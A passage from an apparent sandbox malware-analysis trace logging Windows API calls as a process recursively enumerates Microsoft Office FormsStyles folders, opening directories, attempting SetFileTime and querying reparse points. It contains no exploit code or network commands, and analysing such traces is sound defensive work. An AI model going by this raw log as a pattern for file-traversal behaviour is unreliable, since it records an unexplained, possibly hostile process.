lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.541] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.541] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.541] GetLastError () returned 0x12 [0077.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0077.541] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0077.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0077.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.541] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0077.541] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x173, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.css", cAlternateFileName="")) returned 1 [0077.541] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Earthy.css", cAlternateFileName="")) returned 1 [0077.541] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck", cAlternateFileName="")) returned 1 [0077.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0077.552] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0077.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac6908 [0077.552] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac6908, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xac6908, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0077.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac6908) returned 1 [0077.552] NtClose (Handle=0x168) returned 0x0 [0077.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.553] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0077.553] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.553] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf7c0 [0077.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a34f8 [0077.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3b80) returned 0xac6908 [0077.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac2dc0) returned 1 [0077.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.554] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf7e0 [0077.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a3600 [0077.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.554] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf800 [0077.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a3708 [0077.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.555] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.555] GetLastError () returned 0x12 [0077.555] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0077.555] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0077.555] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.555] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.555] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.555] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.555] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.555] GetLastError () returned 0x12 [0077.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0077.555] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0077.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0077.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.556] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbea, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="")) returned 1 [0077.556] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenTea.css", cAlternateFileName="")) returned 1 [0077.556] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightSpirit.css", cAlternateFileName="")) returned 1 [0077.556] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime", cAlternateFileName="")) returned 1 [0077.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0077.559] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0077.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xaca490 [0077.559] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xaca490, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xaca490, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0077.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaca490) returned 1 [0077.559] NtClose (Handle=0x178) returned 0x0 [0077.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.559] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0077.559] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf820 [0077.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a3810 [0077.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf840 [0077.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a3918 [0077.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.561] GetLastError () returned 0x12 [0077.561] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0077.561] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0077.561] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.561] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", 